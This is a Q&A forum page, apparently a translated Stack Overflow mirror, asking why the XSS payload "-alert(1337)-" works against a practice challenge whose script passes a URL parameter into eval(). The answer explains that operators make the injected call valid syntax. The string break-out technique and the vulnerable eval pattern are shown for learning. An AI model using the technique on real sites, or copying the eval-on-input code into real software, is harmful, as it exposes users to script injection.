【问题标题】:How does this XSS payloads works for this code?这个 XSS 有效负载如何用于此代码?
【发布时间】:2020-12-18 15:37:55
【问题描述】:

我正在尝试解决这个 xss 挑战:https://sandbox.pwnfunction.com/warmups/jefff.html

我在哪里找到了这段代码:

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

经过js代码分析。 首先,我在 URL https://sandbox.pwnfunction.com/warmups/jefff.html?jeff=" Pikachu" 中添加了 jeff 参数,我得到了一些类似 Ma name Pikachu 的输出。

现在我在 jeff 参数中输入了一些恶意数据。所以我输入了?jeff="alert(1337)" 现在我得到了一个错误

如果我们查看代码为什么会这样:

<h2 id="maname"></h2>
<script>
    //get jeff value from jeff param.
    let jeff = "alert(1337)"
    let ma = ""
    //put jeff value
    eval(`ma = "Ma name "alert(1337)""`)
    //here we see that of course error is arise
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

现在我们使用另一个类似的有效负载,我们只在有效负载中添加-,而有效负载的其余部分是相同的?jeff="-alert(1337)-"。在这里,当我们收到警告框 1337 时,我们没有发现任何控制台错误。 如果我们看到我们找到的 eval 函数:

<h2 id="maname"></h2>
<script>
    //get jeff value from jeff param.
    let jeff = "-alert(1337)-"
    let ma = ""
    //put jeff value 
    eval(`ma = "Ma name "-alert(1337)-""`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

我的预期输出:一些控制台错误。
实际输出:弹出警告框。
为什么这个有效载荷没有给出控制台错误?这个有效载荷如何在这里工作?在此有效负载中使用- 运算符的目的是什么?

【问题讨论】:

  • @Liam 我不明白它在这里是如何应用的。
  • @Gander 随时提出修改建议以解决易于修复的问题。
  • @Liam 请撤回此投票。在这种情况下,eval 的使用是出于教育目的。

标签: javascript xss security


【解决方案1】:

字符串文字后跟函数调用是错误:

"foo"alert("bar");

字符串文字后跟运算符后跟函数调用不是错误:

"foo"-alert("bar");

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2019-03-07
    • 2018-03-08
    • 1970-01-01
    • 2019-01-23
    • 1970-01-01
    • 2013-10-18
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多